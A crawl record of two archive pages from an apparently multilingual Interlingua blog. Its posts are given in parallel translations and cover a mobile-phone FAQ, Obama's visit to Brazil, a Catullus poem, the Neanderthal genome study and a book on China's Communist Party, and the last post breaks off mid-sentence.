lanceamento, e le operatdores del servicio, alicun apparatos non va al mercato con programmas pro facer uso de omne lor characteristicas technic.\nQuando il es un question de marketing, alicun fabricantes pote decider non habilitar un characteristica del telephono con le sperantia de poter utilisar lo in le secunde generation del producto.\nA vices le data de lanceamento de un producto arriva ante que on expecta e le fabricante non ha le tempore pro implementar certe characteristicas. Quando appareva le prime telephono con Android, pro exemplo, illo habeva le capacitate pro usar Bluetooth, ma illo non habeva le logiciel que lo empleava. Plus tarde, applicationes per le usuarios resolveva le problema.\nMa in occasiones on decide restringer certe characteristicas del telephonos mobile, como converter los a in punctos de accesso a internet pro un rete domestic. On face isto pro evitar le consumption amplie de datos per usuarios del telephono.\n(2) Que es SMS? Que es Bluetooth?\nSMS repressenta in anglese Short Message System (systema de messages breve) e es le servicio usate pro inviar messages de texto inter telephonos portabile. Le SMS es le servicio de datos le plus utilisate in le telephonos cellular a nivello mundial.\nBluetooth es un standard technologic pro intercambiar datos sin filos inter duo apparatos que se trova a breve distantia le un del altere.\nBluetooth utilisa undas de radio pro transferer information. On lo utilisa pro intercambiar archivos inter telephonos cellular e anque pro facer un connection inter un apparato central e apparatos secundari como receptores de testa.\n(3) Que es TDMA, CDMA, GSM, e EDGE?\nTDMA es un systema cellular de secunde generation que generalmente se usava multo in le Statos Unite e Canada ma que ha essite reimplaciate per le CDMA e le GSM como le principal standard pro le telephonia cellular.\nCDMA es un systema de telephonia mobile que permitte que diverse apparatos comparte le mesme frequentia de transmission. Le version le plus vetule del protocolo se emplea in telephonos de secunde generation, ma un nove standard cognoscite como CDMA2000 se emplea in apparatos 3G.\nGSM significa systema global de communicationes mobile e es le standard le plus popular in le mundo pro telephonos mobile, coperiente plus que 80% del mercato. Illo permitte su usuarios a usar lor telephonos in diverse paises del mundo.\nEDGE es un technologia que meliora le transmission de datos in le retes GSM.\n(4) Equal es le capacitate maxime del memoria RAM e externe de un telephono cellular?\nIn iste momento in le mercato, le telephonos intelligente le plus recente ha usque 1 GB de memoria RAM.\nLe memoria externe--via un carta micro SD--pote arrivar usque 2 TB si on utilisa un carta de capacitate extendite. Ma il essera multo difficile trovar un telephono que los recognosce.\nGeneralmente, tal apparatos accipe cartas de usque 20GB.\n(5) Que significa e qual es le utilitate de IMEI?\nIMEI es \"Identitate International de Equipos Mobile\" in su acronymo anglese e consiste de un numero unic que identifica telephonos cellular e alicun altere apparatos mobile.\nIn le majoritate del telephonos se trova imprimite in le compartimento del bateria o se pote vider in le schemo claviante *#06#.\nOn pote utilisar lo pro stoppar le operation de un telephono in un determinate pais si illo se perde o esseva robate.\n(6) Como pote io actualisar le logiciel de mi telephono?\nLo plus facile es vader al sito web del compania fabricante, facer clic in appoio technic, seliger le modelo del apparato (generalmente isto se trova in le fronte o in le compartimento del bateria), e postea sequer le instructiones del fabricante.\nNokia e Samsung, pro exemplo, require que le usuario discarga un programma special a Windows; e, post installar lo, on debe connectar le telephono via un cable USB pro actualisar lo.\n(7) Pote le GPS functionar sin un connexion de datos?\nIn telephonos como Android, Nokia, e le iPhone, il es possibile discargar mapas e installar los usante un app o un carta de memoria pro usar le GPS sin connexion a internet.\nUsante le mappas immagasinate in le telephono on pote determinar le ubication del apparato.\n---\nSiete preguntas sobre los teléfonos mobiles\n(1) ¿Por qué los fabricantes ocultan algunas características de los teléfonos, como conexiones a internet?\nDependiendo de las circunstancias, el teléfono, la fecha de lanzamiento y los operadores del servicio, algunos dispositivos no salen al mercado con programas para aprovechar todas sus características técnicas.\nCuando se trata de mercadotecnia, algunos fabricantes pueden decidir no habilitar una característica del teléfono con la esperanza de poder utilizarla en una segunda generación del producto.\nA veces la fecha de lanzamiento de un producto llega antes de lo esperado y el fabricante se queda sin tiempo para implementar ciertas características. Cuando salió el primer teléfono con Android, por ejemplo, éste tenía capacidad bluetooth, pero no contaba con un programa que lo empleara. Más adelante, aplicaciones desarrolladas por los usuarios resolvieron el problema.\nPero en ocasiones se decide restringir ciertas características de los móviles, como el convertirlos en puntos de acceso a internet para una red doméstica. Lo hacen para evitar un amplio consumo de datos por parte de los usuarios del teléfono.\n(2) ¿Qué es un SMS? ¿qué es Bluetooth?\nSMS representa en inglés Short Message System (sistema de mensajes cortos) y es el servicio mediante el cual se envían mensajes de texto entre telefónos portátiles. El SMS es el servicio de datos más utilizado en los teléfonos celulares a nivel mundial.\nBluetooth es un estándar tecnológico para intercambiar datos vía inalámbrica entre dos dispositivos que se encuentren a corta distancia uno de otro.\nEl bluetooth utiliza ondas de radio para transferir información. Se utiliza para intercambiar archivos entre celulares y también para lograr una conexión entre un dispositivo central y aparatos secundarios como auriculares.\n(3) ¿Qué es TDMA, CDMA, GSM y EDGE?\nTDMA: es un sistema celular de segunda generación que solía ser muy utilizado en Estados Unidos y Canadá, pero que ha sido reemplazado por el CDMA y el GSM como el principal estándar para la telefonía celular.\nCDMA: es un sistema de telefonía móvil que le permite a varios aparatos compartir la misma frecuencia de transmisión. La versión más antigua del protocolo se emplea en teléfonos de segunda generación, pero un nuevo estándar conocido como CDMA2000 se emplea en dispositivos 3G.\nGSM: significa sistema global de comunicaciones móviles y es el estándar más popular en el mundo para teléfonos móviles, abarcando más del 80% del mercado. Ello permite a sus usuarios poder usar sus teléfonos en varios países del mundo.\nEDGE: es una tecnología que mejora la transmisión de datos en las redes GSM.\n(4) ¿Cuál es la capacidad máxima de memoria RAM y externa de un celular?\nEn este momento en el mercado, los teléfonos inteligentes más recientes alcanzan hasta 1 GB de memoria RAM.\nLa memoria externa--vía tarjeta micro SD--puede llegar hasta 2 TB si se utiliza una tarjeta de capacidad extendida. Pero será muy difícil encontrar un teléfono que las reconozca.\nGeneralmente tales dispositivos aceptan tarjetas de hasta 32 GB.\n(5) ¿Qué significa y para qué sirve el IMEI?\nIMEI es \"Identidad Internacional de Equipos Móviles\" por sus siglas en inglés y consiste en un número único que identifica a teléfonos celulares y a algunos otros dispositivos móviles.\nEn la mayoría de los teléfonos se encuentra impreso en el compartimento de la batería o se puede ver en la pantalla marcando *#06#.\nSe puede utilizar para detener la operación de un teléfono en un determinado país si éste se perdió o fue robado.\n(6) ¿Cómo puedo actualizar el software de mi teléfono?\nLo más fácil es acudir al sitio web de la compañía fabricante, hacer clic en soporte técnico, seleccionar el modelo del dispositivo (suele encontrarse en el frente o en el compartimiento de la batería), y después seguir las instrucciones del fabricante.\nNokia y Samsung, por ejemplo, requieren que el usuario descargue un programa especial a Windows; y, después de instalarlo, hay que conectar el teléfono vía un cable USB para actualizarlo.\n(7) ¿Puede el GPS funcionar sin conexión de datos?\nEn teléfonos como Android, Nokia y el iPhone, es posible descargar mapas e instalarlos a través de una app o en una tarjeta de memoria para usar el GPS sin conexión a internet.\nUsando los mapas alojados en el teléfono se puede determinar la ubicación del dispositivo.\n---\nSeven questions on mobile phones\n(1) Why do manufacturers hide some phone features such as internet connections?\nDepending on the circumstances, the telephone number, the launch date, and service operators, some devices do not go to market with programs to take advantage of their technical characteristics.\nWhen it comes to marketing, some manufacturers may choose not to enable a telephone feature with the hope of using it in a second-generation product.\nSometimes the launch date of a product comes earlier than expected and the manufacturer runs out of time to implement certain features. When the first phone with Android came out, for example, it had bluetooth capability, but it did not have a program that used it. Later on, applications developed by users solved the problem.\nBut at times decisions are made to restrict certain features of phones, such as turning domestic networks into Internet-access points. They do this to prevent large amounts of data use by the users of the phone.\n(2) What is SMS? What is Bluetooth?\nIn English SMS means Short Message System and is the service through which text messages are sent between portable phones. SMS is the most widely used data service on mobile phones worldwide.\nBluetooth is a technology standard for exchanging data wirelessly between two devices within a short distance from each other.\nBluetooth uses radio waves to transfer information. It is used to exchange files between mobile phones and also to make a connection between a central device and secondary devices such as headsets.\n(3) What is TDMA, CDMA, GSM and EDGE?\nTDMA is a second generation cellular system that used to be widely used in the U.S. and Canada, but has been replaced by CDMA and GSM as the gold standard for cellular telephony.\nCDMA is a wireless system that allows multiple devices to share the same frequency. The oldest version of this protocol is used in second-generation phones, but a new standard known as CDMA2000 is used in 3G handsets.\nGSM stands for mean global mobile communications system and is the most popular standard worldwide for mobile phones, covering more than 80% of the total market share. This allows users to make use of their phones in several countries.\nEDGE is a technology that improves data transmission in GSM networks.\n(4) What is the maximum capacity of RAM and external memory in a cell phone?\nAt this point in the market, the most recent smart phones have up to 1 GB of RAM.\nThe external memory card--via micro-SD--can be up to 2 TB with the use of an extended capacity card. But it will be very difficult to find a phone that will recognize them.\nGenerally such devices support up to 32 GB cards.\n(5) What is IMEI and what is it used for?\nIMEI stands for \"International Mobile Equipment Identity.\" It is a unique number that identifies some cell phones and other mobile devices.\nIn most phones it is printed on the battery compartment or can be viewed on the screen by dialing *#06#.\nIt can be used to stop the operation of a telephone in a given country if it is lost or stolen.\n(6) How I can update the software on my phone?\nThe easiest way is to go to the website of the manufacturing company, click support, select the model of the device (usually located on the front or in the battery compartment); then, after installing it, follow the manufacturer's instructions.\nNokia and Samsung, for example, require the user to download a special program to Windows and, after installing it, to connect the phone via a USB cable to update it.\n(7) Can the GPS function work without any data connection?\nOn phones like Android, Nokia and the iPhone, it is possible to download maps and install them through an app or a memory card to use GPS without an internet connection.\nUsing maps housed in the phone can determine the location of the device.\nPosted by hkyson at 10:47 AM\n(Languages of this post: Interlingua, Spanish, English)\nPost arrivar a Brasilia, le presidente american, Barack Obama, diceva que le Brasil es de plus un plus un leader mundial, e non solmente regional, in le contexto de un nove realitate geopolitic global, ma ille non exprimeva directemente su appoio al Brasil como un membro permanente del Consilio de Securitate del Nationes Unite.\nNonobstante, le presidente american affirmava que le Statos Unite va a continuar a travaliar \"al latere del Brasil e de altere paises\" pro converter le Consilio a in alique plus representative, con le participation de nove actores importante in le scenario mundial.\nPlus tarde, in un communicato conjuncte signate per le duo presidentes, Obama \"exprimeva su appreciation\" pro le intention del Brasil de devenir un membro permanente del Consilio de Securitate e recognosceva le \"responsabilitates global\" assumite per le pais.\nLe governamento brasilian exprimeva su satisfaction con le declaration de Obama, in le communicato final, que ille appreciava le desiro del Brasil de occupar un sede permanente in le Consilio de Securitate, ma le Brasil habeva sperate un expression de su appoio total pro iste ambition.\nObama citava le \"sacrificio\" facite per personas como Dilma pro transformar le Brasil de un dictatura a un democratia, e ille diceva que ille esseva confidente que su collega brasilian habera un rolo multo importante in le evolution del relationes inter le duo paises. Ille anque laudava le complimentos conjuncte inter le Statos Unite e le Brasil concernente actiones humanitari in le combatto al traffico de drogas e contra le travalio infantil.\nIn su discurso, Dilma accentuava le facto que illa esseva le prime mulier in le presidentia brasilian, recipiente in un visita official le prime presidente afaroamerican del historia del Statos Unite.\nDilma anque citava \"contradictiones\" que debe esser superate, demandante le fin de mensuras protectioniste in le commercio con le Statos Unite.\nIlla recognosceva le effortios interprendite per le governamento american pro resolver le crise, ma illa diceva que il es necesse rumper le barrieras al productos brasilian e corriger \"disequilibrios\" in le relation inter le duo paises.\nLe presidente exigeva reformas in institutiones como le Banca Mundial, le Fundo Monetari International, e le Consilio de Securitate del Nationes Unite.\nQuanto al Consilio de Securitate, Dilma exigeva un sede permanente pro su pais, affirmante que le Brasil es un pais committite al pace, al tolerantia, e al dialogo, e que illo non vole un association pro-forma o passive in le Consilio. Dilma anque accentuava le importantia de establir cooperation plus amplie con le Statos Unite in areas de infrastructura e energia.\nIlla anque accentuava le importantia del cooperation inter le Brasil e le Statos Unite in le exploration del petroleo e in le disveloppamento de technologias de energia renovabile.\nQuanto al commercio, Dilma diceva que tanto le Brasil como le Statos Unite spera un conclusion ben succedite in le rondo Doha, iniciate in 2001 pro stimular le commercio inter le paises e reducer le protectionismo, ma que esseva suspendite in 2008 debite a disaccordos sur questiones agricole.\nPost iste observationes per Dilma, Obama citava le ex-presidente Juscelino Kubitschek (1956-61) dicente que Brasilia esserea le \"initio de un nove die\" e affirmava que su visita crea le base pro cooperation non solmente pro le populos american e brasilian, ma pro omne le mundo.\nObama anque diceva que ille intende adjuvar le Brasil de ulle maniera possibile in su effortios pro continuar su disveloppamento economic. \"Le crescimento del Brasil\", diceva ille, \"es un del activitates economic le plus importante de nostre epocha.\"\n---\nObama diz a Dilma que o Brasil é agora um líder mundial.\nDepois de chegar em Brasília, o presidente americano, Barack Obama, disse que o Brasil é cada vez mais um líder mundial, e não somente regional, no contexto de uma nova realidade geopolítica global, mas ele não expressou diretamente seu apoio ao ingresso do Brasil como membro permanente do Conselho de Segurança das Nações Unidas.\nNo entanto, o presidente americano afirmou que os Estados Unidos vão continuar trabalhando \"ao lado do Brasil e de outros países\" para tornar o Conselho mais representativo, com a participação de novos atores importantes no cenário mundial.\nMais tarde, em um comunicado conjunto assinado pelos dois presidentes, Obama \"expressou seu apreço\" pela intenção do Brasil de se tornar membro permanente do Conselho de Segurança e reconheceu as \"responsabilidades globais\" assumidas pelo país.\nO governo brasileiro manifestou a sua satisfação com a declaração de Obama, no comunicado final, que ele apreciava o desejo do Brasil de ocupar um assento permanente no Conselho de Segurança, mas o Brasil tinha esperado uma expressão de seu apoio total para esta ambição.\nObama citou o \"sacrifício\" feito por pessoas como Dilma para transformar o Brasil de uma ditadura para uma democracia, e disse ter certeza de que a sua colega brasileira terá um papel muito importante na evolução das relações entre os dois países.\nEle também afirmou que sua visita ao Brasil é uma oportunidade para estreitar a cooperação entre os dois países nas áreas de energia renovável e de comércio. Ele também elogiou as realizações conjuntas dos Estados Unidos e do Brasil sobre a acção humanitária na luta contra o tráfico de drogas e o trabalho infantil.\nEm seu discurso, Dilma ressaltou o fato de ela ser a primeira mulher na presidência brasileira, recebendo em visita oficial o primeiro presidente negro da história dos Estados Unidos.\nDilma também citou \"contradições\" que precisam ser superadas, pedindo o fim de medidas protecionistas no comércio com os Estados Unidos.\nEla reconheceu os esforços tomados pelo governo americano para sair da crise, mas disse que é necessário romper as barreiras aos produtos brasileiros e corrigir \"desequilíbrios\" na relação comercial entre os dois países.\nA presidente pediu reformas em instituições como o Banco Mundial, o Fundo Monetário Internacional e o Conselho de Segurança das Nações Unidas.\nQuanto ao Conselho de Segurança, Dilma pediu um assento permanente para seu país, afirmando que o Brasil é um país comprometido com a paz, a tolerância e o diálogo, e que não quer uma associação pró-forma ou passiva no Conselho. Dilma também enfatizou a importância de estabelecer uma maior cooperação com os Estados Unidos nas áreas de infra-estrutura e energia.\nEla também ressaltou a importância da cooperação entre Brasil e os Estados Unidos na exploração do petróleo e no desenvolvimento de tecnologias de energia renovável.\nSobre comércio, Dilma afirmou que tanto Brasil quanto Estados Unidos esperam uma conclusão bem-sucedida na rodada Doha, iniciada em 2001 para estimular o comércio entre os países e reduzir o protecionismo, mas que acabou suspensa em 2008 devido a desacordos sobre questões agrícolas.\nDepois destas observações por Dilma, Obama citou o ex-presidente Juscelino Kubitschek (1956-61) ao dizer que Brasília seria \"o raiar de um novo dia\" e afirmou que sua visita cria as bases para cooperação não apenas para os povos americano e brasileiro, mas para todo o mundo.\nObama também disse que pretende ajudar o Brasil de qualquer maneira possível em seus esforços para continuar o seu desenvolvimento económico. \"O crescimento do Brasil\", disse ele, \"é uma das atividades econômicas mais importantes da nossa era.\"\n---\nObama tells Dilma that Brazil is now a world leader.\nAfter arriving in Brasilia, the U.S. president, Barack Obama, said that Brazil is increasingly a world leader, not merely a regional one, in the context of a new global geopolitical reality, but he did not express his direct support of Brazil as a permanent member of the U.N. Security Council.\nHowever, the U.S. president said the United States will continue working \"along with Brazil and other countries\" to make the Council more representative, with the participation of important new actors on the world stage.\nLater on, in a joint statement signed by both presidents, Obama \"expressed his appreciation\" for Brazil's intention to become a permanent member of the Security Council and acknowledged the \"global responsibility\" undertaken by the country.\nThe Brazilian government expressed its pleasure with Obama's statement in the final communiqué that he appreciated Brazil's desire to occupy a permanent seat on the Security Council, but Brazil had hoped for an expression of his complete support for this ambition.\nObama cited the \"sacrifice\" made by people like Dilma to transform Brazil from a dictatorship to a democracy and said he was sure that his Brazilian counterpart will have a very important role in the evolution of the relationship between the two countries.\nHe also affirmed that his visit to Brazil is an opportunity to strengthen cooperation between the two countries in the areas of renewable energy and trade. He also praised the joint accomplishments of the United States and Brazil for humanitarian action in the fight against drug trafficking and child labor.\nIn her speech, Dilma highlighted the fact that she was the first woman president in Brazil receiving an official visit from the first black president in U.S. history.\nDilma also cited \"contradictions\" that must be overcome, calling for an end to protectionist measures in trade with the United States.\nShe acknowledged the efforts undertaken by the U.S. government to end the crisis but said it was necessary to break down barriers to Brazilian products and correct \"imbalances\" in the commercial relationship between the two countries.\nThe president urged reforms in institutions like the World Bank, the International Monetary Fund and the United Nations Security Council.\nWith regard to the Security Council, Dilma asked for a permanent seat for her country, saying that Brazil is committed to peace, tolerance and dialogue, and that it does not want a pro-forma or passive membership in the Council. Dilma also emphasized the importance of establishing greater cooperation with the United States in the areas of infrastructure and energy.\nShe also stressed the importance of cooperation between Brazil and the United States in the exploration of oil and the development of renewable-energy technologies.\nWith regard to trade, Dilma said that both Brazil and the United States expect a successful conclusion to the Doha round, launched in 2001 to stimulate trade between the countries and reduce protectionism but which was suspended in 2008 due to disagreements over agricultural issues.\nAfter these remarks by Dilma, Obama cited former president Juscelino Kubitschek (1956-61) to say that Brasilia would be \"the dawning of a new day\" and said his visit paves the way to cooperation not only for the American and Brazilian peoples but for the whole world.\nObama also said that he intends to help Brazil in any way possible in its efforts to continue its economic development. \"The growth of Brazil,\" he said, \"is one of the most important economic activities of our era.\"\nPosted by hkyson at 1:26 AM","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2011_03_01_archive.html","date":"2014-07-28T10:17:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1406510258086.28\/warc\/CC-MAIN-20140728011738-00179-ip-10-146-231-18.ec2.internal.warc.gz","language":"ina","language_score":0.4551517665,"language_script":"Latn","minhash_cluster_size":47,"top_langs":"{\"ina_Latn_score\": 0.45515176653862, \"spa_Latn_score\": 0.27643153071403503, \"cbk_Latn_score\": 0.07668475806713104, \"eng_Latn_score\": 0.04851125180721283, \"por_Latn_score\": 0.017659492790699005}","num_words":19054,"character_repetition_ratio":0.037,"word_repetition_ratio":0.016,"special_characters_ratio":0.191,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":2605.2,"cluster_detection":-1} +{"text":"Monday, May 31, 2010\n(Languages of this post: Interlingua, Portuguese, Latin, English)\nQue nos vive, mi Lesbia, e que nos ama,\nproque omne le voces vetule\nes pro nos minus que un centimo.\nLe stellas pote morir e renascer,\nma nostre foco tosto se extinguera,\ne nos dormira un nocte eterne.\nDa me mille basios, e cento alteres,\ne mille e cento, e mille, e mille e cento.\nQuando nos summara mille multe vices,\nnos miscera toto usque perder le conta.\nQue le invidia non mitte le oculo de un augurio\nin le umbra de un tal summa de basios.\n---\nVivamos, minha Lésbia, e amemos,\ne as graves vozes velhas\n--todas--\nvalham para nós menos que um vintém.\nOs sóis podem morrer e renascer:\nquando se apaga nosso fogo breve\ndormimos uma noite infinita\nDá-me pois mil beijos, e mais cem,\ne mil, e cem, e mil, e mil e cem.\nQuando somarmos muitas vezes mil\nMisturaremos tudo até perder a conta.\nQue a inveja não ponha o olho de agouro\nno assombro de uma tal soma de beijos.\n---\nVivamus, mea Lesbia, atque amemus,\nrumoresque senum severiorum\nomnes unius aestimemus assis!\nSoles occidere et redire possunt;\nnobis cum semel occidit brevis lux,\nnox est perpetua una dormienda.\nDa mi basia mille, deinde centum,\ndein mille altera, dein secunda centum,\ndeinde usque altera mille, deinde centum.\nDein, cum milia multa fecerimus,\nconturbabimus illa, ne sciamus,\naut ne quis malus invidere possit,\ncum tantum sciat esse basiorum.\n---\nLet us live, my Lesbia, and make love,\nfor all the grave old voices\nare worth less than a penny to us.\nThe stars can die and be reborn.\nOnce our fire is soon extinguished,\nwe will sleep an endless night.\nGive me a thousand kisses and a hundred more,\nand a thousand and one hundred\nand a thousand and one hundred thousand.\nWhen you add up many times a thousand,\nWe will mix them all up until we lose count.\nLet envy not put an omen's eye\nin the shadow of such an amount of kisses.\nPosted by hkyson at 10:49 AM\nSaturday, May 29, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio german ha monstrate que omne le humanos con le exception de illes de origine purmente african ha in lor DNA un contribution de 1% a 4% de elementos genetic de neanderthales, indicante que le duo species cruciava inter se e generava descendentes commun.\nLe studio de quatro annos, conducite per le instituto german Max Planck con le collaboration de diverse universitates de altere paises e publicate in le magazin \"Science\", disvelava le genoma, o codice genetic, del homines Neanderthal, un specie que deveniva extincte ante circa 29 mille annos.\nLe conclusiones surprendeva specialistas proque evidentia anterior suggereva que le neanderthales non habeva contribuite a nostre hereditage genetic.\nLe studio anque confirma que quasi le totalitate del humanos descende de un parve gruppo de africanos qui comenciava a popular omne le planeta ante inter 50 e 60 mille annos.\nEvidentia del contribution genetic del neanderthales esseva trovate in le populationes de Europa, Asia, e Oceania.\nLe genoma sequentiate usava DNA del restos de tres neanderthales discoperite in un caverna in Croatia.\nUn del defias del projecto esseva extraher material genetic utilisabile del ossos, que habeva un etate de decenas de milles de annos.\nLe monstras conteneva parve quantitates de DNA del neanderthales, miscite con DNA de bacterios e colonias de fungos que se installava in illos in le curso de multissime annos.\nLe DNA de neanderthales se habeva frangite in parve pecias e esseva chimicamente modificate, ma ille cambios esseva de natura irregular, lo que perimitteva que le investigatores corrigeva le imperfectiones por medio de programmas de computator.\nLe explication le plus plausibile pro le approximation genetic inter non-africanos e neanderthales es que il habeva un contacto reproductive (o fluxo de genes) reducite inter le duo species.\nIste cruciamento pote haber occurrite quando le humanos abandonava le continente african, forsan in le nord de Africa o in le peninsula arabic.\nSecundo le theoria que dice que le mundo esseva populate desde Africa, le homo sapiens substitueva gradualmente le populationes indigene de altere regiones, includente le neanderthales.\nRecercas anterior indicava que Europa esseva le loco le plus probabile ubi le duo species habeva contacto e possibilemente intercambiava genes.\nHomo sapiens e homo neanderthalensis conviveva in le continente pro plus que 10 mille annos.\n---\nEstudo indica que humanos tiveram filhos com neandertais.\nUm estudo alemão mostrou que todos os humanos, exceto os de ancestralidade puramente africana, tem em seu DNA uma contribuição de 1% a 4% de elementos genéticos de neandertais, indicando que as duas espécies cruzaram entre si e geraram descendentes comuns.\nO estudo de quatro anos, liderado pelo instituto alemão Max Planck com colaboração de várias universidades de outros países e divulgado na publicação científica \"Science\", desvendou o genoma, ou código genético, dos homens de Neandertal, espécie extinta há aproximadamente 29 mil anos.\nAs conclusões surpreenderam especialistas, já que evidências anteriores sugeriam que os neandertais não haviam contribuído para nossa herança genética.\nO estudo também confirma que quase a totalidade dos humanos descende de um pequeno grupo de africanos que começaram a povoar todo o planeta, entre 50 e 60 mil anos atrás.\nEvidências da contribuição genética dos neandertais foram encontrados nas populações da Europa, Ásia e Oceania.\nO genoma sequenciado usou DNA dos restos de três neandertais descobertos em uma caverna na Croácia.\nUm dos desafios do projeto foi extrair material genético aproveitável dos ossos, que possuíam dezenas de milhares de anos de idade.\nAs amostras continham pequenas quantidades de DNA de neandertais, misturadas com DNA de bactérias e colônias de fungos que instalaram-se nelas ao longo dos anos.\nO DNA de neandertais havia se quebrado em pequenos pedaços e modificado-se quimicamente, mas estas mudanças eram de natureza regular, o que permitiu aos pesquisadores corrigir as imperfeições por meio de programas de computador.\nA explicação mais plausível para a aproximação genética entre não africanos e neandertais é a de que houve um contato reprodutivo reduzido (ou fluxo de genes) entre as duas espécies.\nEste cruzamento pode ter ocorrido quando os humanos deixavam o continente africano, talvez no norte da África ou na península arábica.\nSegundo a teoria de que o mundo era povoado a partir da África, o homo sapiens substituiu gradativamente as populações indígenas de outras regiões, que incluiu os neandertais.\nPesquisas anteriores indicavam a Europa como o local mais provável para as duas espécies terem se encontrado e possivelmente trocado genes.\nHomo sapiens e homens neandertais conviveram no continente por mais de 10 mil anos.\n---\nA study shows that humans produced offspring with Neanderthals.\nA German study has shown that all humans, except those of purely African ancestry, have in their DNA a contribution of 1% to 4% of Neanderthal genetic elements, indicating that the two species interbred with each other and produced common offspring.\nThe four-year study, led by the German Max Planck Institute in collaboration with several universities in other countries and published in the journal \"Science,\" unveiled the genome, or genetic code, of Neanderthals, a species that became extinct approximately 29,000 years ago.\nThe findings have surprised specialists because previous evidence suggested that Neanderthals had not contributed to our genetic heritage.\nThe study also confirms that almost all humans descended from a small group of Africans who began to populate the entire planet between 50 and 60,000 years ago.\nEvidence of the genetic contribution of Neanderthals was found in the populations of Europe, Asia, and Oceania.\nThe sequenced genomes used DNA from the remains of three Neanderthals discovered in a cave in Croatia.\nOne of the challenges of the project was to extract usable genetic material from the bones, which were tens of thousands of years old.\nThe samples contained small amounts of Neanderthal DNA mixed with DNA from bacteria and fungal colonies that settled on them over the years.\nThe DNA from Neanderthals had broken into small pieces and was chemically modified, but these changes were regular in nature, which allowed researchers to correct the imperfections by means of computer programs.\nThe most plausible explanation for the genetic approximation between non-Africans and Neanderthals is that there was a reduced reproductive contact (or gene flow) between the two species.\nThis crossover may have occurred when humans left the African continent, perhaps in North Africa or the Arabian peninsula.\nAccording to the theory that the world was populated from Africa, Homo sapiens gradually replaced the indigenous populations of other regions, which included the Neanderthals.\nPrevious research has indicated Europe as the most likely site for the two species to have run into each other and possibly exchanged genes.\nHomo sapiens and Neanderthals coexisted on the continent for over 10,000 years.\nPosted by hkyson at 12:44 AM\nThursday, May 20, 2010\n(Languages of this post: Interlingua, English)\nLe partito communiste in China ha facite effortios ingente pro proteger su potentia politic e celar lo del publico chinese e del resto del mundo. Su structura ha essite revelate in le libro \"The Party: The Secret World of China's Communist Rulers\" (Le Partito, le mundo secrete del leaders del partito communiste de China), per Richard McGregor.\nUn symbolo de su potentia es un parve rete de telephonos rubie que es distribuite al leaders elite del institutiones politic, social, e commercial de China. Cognoscite como le \"machina rosse\", iste rete de telephonos permitte le communication instante e secrete que es protegite per encryption inter iste personas, e solmente un parve gruppo de unes 300 personas ha un de iste telephonos.\nPost 1949 le partito communiste de China ha passate per diverse crises. Un esseva le excessos de Mao Zedong e su Revolution Cultural. Le secunde veniva post le collapso del Union Sovietic e su satellites in le est de Europa, eventos que resona in Beijing mesmo hodie. Ma post cata un de iste catastrophes, le partito chinese se ha reconstruite e preservate e augmentate su potentia politic.\nVladimir Lenin, qui designava le prototypo usate pro governar le paises communiste del mundo, recognoscerea e comprenderea le structura del partito communiste chinese immediatemente. Su controlo del pais ha tres componentes fundamental: controlo de su personal, controlo del propaganda national, e controlo del Armea de Liberation Popular del pais.\nMembros del elite del partito se ha inserite in le direction de omne iste institutiones fundamental del pais, e omne le organisationes policial del pais ha un \"departamento de securitate domestic\", cuje rolo es proteger le controlo del partito sur le societate chinese e eliminar voces politic dissidente ante que illos pote attraher significante numeros de adherentes.\nLe fallimento del systema financiari occidental, con le evaporation del confidentia in le Statos Unite, Europa, e Japon, ha fortificate le position de China in le systema financiari mundial. In le spatio de unes pauc menses in le prime parte de 2009, le chineses prestava US$25 mille milliones a companias de petroleo in Russia, dedicava US$30 mil milliones a companias que extrahe minerales in Australia, e offereva decenas de mille milliones de dollars a diverse companias in le America del Sud e in le Asia sudest e central, assecurante se de accesso a lor minerales in le futuro. Le septembre passate, China extendeva lineas de credito de usque $60 a $70 mille milliones de dollars pro disveloppar le ressources natural de Nigeria, Ghana, e Kenya.\nLe importantia del gigante mercato chinese anque ha crescite. Le taxa de vendita de automobiles in China in April, 2009, ultrapassava le numero de autos vendite in le Statos Unite.\nIn maio, Wang Qishan e un equipa de ministros chinese se reuniva con un gruppo de ministros e homines de affaires american e europee in Bruxelles pro audir lor planctos sur le difficultates de accesso que illes ha al mercato chinese.\n\"Io comprende vostre problemas\", diceva le senior Wang post audir lo planctos. \"Io comprende que il ha irregularitates in le mercato chinese. Ma le mercato chinese ha un importantia in le mundo irresistibile, e vos debera acciper lo tal como illo es.\"\nLe ascension de China es un phenomeno con le capacitate de modificar considerabilemente le economia mundial, sector post sector. Que le pais es controllate per un partito communiste veni como un choc al mundo occidental, que ante unes pauc annos credeva que le fin del historia habeva arrivate con le triumpho del democratia liberal.\nIn le absentia de electiones democratic e debattos politic aperte, il es impossibile evaluar le appoio popular pro le partito commniste de China. Ma il es assatis obvie que appoio social pro le partito ha crescite con le reformas inaugurate post le morte de Mao. E ben que le leaders de China vole imitar le structura e methodos de controlo economic de Europa e America, illes obviemente non vole cambiar lor societate in directiones que imita le progresso democratic e social que ha facite Europa e le Statos Unite post le Secunde Guerra Mundial. E il pare probabile que illes va a continuar a controlar le destino del pais indefinitemente in le futuro.\n---\nThe Contemporary Structure of the Communist Party in China\nThe Communisty party in China has made gigantic efforts to protect its political power and to hide it from the Chinese public and the rest of the world. Its structure has been revealed in the book \"The Party: The Secret World of China's Communist Party\" by Richard McGregor.\nA symbol of its power is a small network of red telephones that are distributed to the elite leaders of the political, social, and commercial institutions of China. Known as the \"red machine,\" this network of telephones allows instant and secret communication that is protected by encryption between these people, and only a small group of about 300 people has one of these telephones.\nAfter 1949 th Communist party of China has gone through various crises. One was the excesses of Mao Zedong and his Cultural Revolution. The second came after the collapse of the Soviet Union and its satellites in Eastern Europe, events that resonate in Beijing even today. But after each one of these catastrophes, the Chinese party has rebuilt itself and preserved and increased its political power.\nVladimir Lenin, who designed the prototype used to govern the communist countries of the world, would immediately recognize and understand the structure of the Chinese communist party. Its control of the country has three fundamental components: control of its personnel, control of the national population, and control of the People's Liberation Army of the country.\nMembers of the elite of the party have inserted themselves into the management of all these fundamental institutions of the country, and all police organizations of the country have a \"department of domestic security,\" whose role is to protect the control of the party over Chinese society and eliminate dissident political voices before they can attract significant numbers of adherents.\nThe failure of the western financial system, with the evaporation of confidence in the United States, Europe, and Japan, has strengthened the position of China in the world financial system. In the space of a few short months in the first part of 2009, the Chinese lent $25 billion to petroleum companies 